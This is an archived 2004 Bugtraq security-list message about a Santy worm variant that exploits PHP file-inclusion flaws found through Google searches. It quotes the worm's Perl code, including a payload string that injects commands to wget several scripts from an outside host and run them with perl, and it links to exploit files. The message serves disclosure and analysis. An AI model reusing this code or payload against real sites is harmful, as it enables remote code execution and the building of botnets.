bugtraq - Re: New Santy-Worm attacks *all* PHP-skripts ( Santy.c ? )

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20041226023752.31562.qmail@www.securityfocus.com>
Date: 26 Dec 2004 02:37:52 -0000
From: K-OTiK Security <Special-Alerts@...tik.com>
To: bugtraq@...urityfocus.com
Subject: Re: New Santy-Worm attacks *all* PHP-skripts ( Santy.c ? )


In-Reply-To: <Pine.LNX.4.58.0412251805110.19888@...i.ct.heise.de>

The kids are exploiting the php file inclusion (programming flaw), well-thought-out.

Thousands of vulnerable sites and potentially thousands of zombies...

We labelled this Santy.c (even if the only similarity with Santy lies in "using search engines").

http://www.k-otik.com/exploits/20041225.SantyC.php
http://www.k-otik.com/exploits/20041225.SantyB.php

Regards
K-OTik Security Research & Monitoring Team 24/7
http://www.k-otik.com 


>From: Juergen Schmidt <ju@...sec.de>
>
>Hello,
>
>the new santy version not only attacks phpBB.
>
>It uses the brasilian Google site to find all kinds of PHP skripts.
>It parses their URLs and overwrites variables with strings like:
>
>'http://www.visualcoders.net/spy.gif?&cmd=cd /tmp;wget
>www.visualcoders.net/spybot.txt;...
>
>Often enough this leads to download and execution of code.
>On success the worm connects to an IRC server, where already more than 700
>zombies are waiting for commands.
>
>The relevant code:
>---------
>$procura = 'inurl:*.php?*=' . $numr;
>
>for($n=0;$n<900;$n += 10){
>$sock = IO::Socket::INET->new(PeerAddr => "www.google.com.br", PeerPort =>
>80, Proto => "tcp") or next;
>print $sock "GET /search?q=$procura&start=$n HTTP/1.0\n\n";
>...
>
>$lista1 = 'http://www.visualcoders.net/spy.gif?&cmd=cd /tmp;wget
>www.visualcoders.net/spybot.txt;wget www.visualcoders.net/worm1.txt;wget
>www.visualcod
>ers.net/php.txt;wget www.visualcoders.net/ownz.txt;wget
>www.visualcoders.net/zone.txt;perl spybot.txt;perl worm1.txt;perl
>ownz.txt;perl php.txt';
>$t =0;
>$y =0;
>@ja;
>open(opa,"<$caxe") or die "nao deu pra abrir o arquivo caxe.txt";
>while (<opa>)
>{
> $ja[$t] = $_;
> chomp $ja[$t];
> $t++;
> $y++;
>}
>close(opa);
>$t=1;
>while ($t < $y)
>   {
>    if ($ja[$t] =~/=/)
>      {
>       $num = rindex $ja[$t], '=';
>       $num += 1;
>       $ja[$t] = substr($ja[$t],0,$num);
>            open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar
>caxe1.txt";
>            print jaera "$ja[$t]$lista1\n";
>            close(jaera);
>        $num = index $ja[$t], '=';
>        $num += 1;
>        $ja[$t] = substr($ja[$t],0,$num);
>        $num1 = rindex $ja[$t], '.';
>        $subproc = substr($ja[$t],$num1,$num);
>
>            open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar
>caxe1.txt";
>            print jaera "$ja[$t]$lista1\n";
>            close(jaera);
>      }
>     $t++;
>     }
>
>
>bye, ju
>
>-- 
>Juergen Schmidt       Chefredakteur  heise Security     www.heisec.de
>Heise Zeitschriften Verlag,    Helstorferstr. 7,       D-30625 Hannover
>Tel. +49 511 5352 300      FAX +49 511 5352 417       EMail ju@...sec.de
>GPG-Key: 0x38EA4970,  5D7B 476D 84D5 94FF E7C5  67BE F895 0A18 38EA 4970
>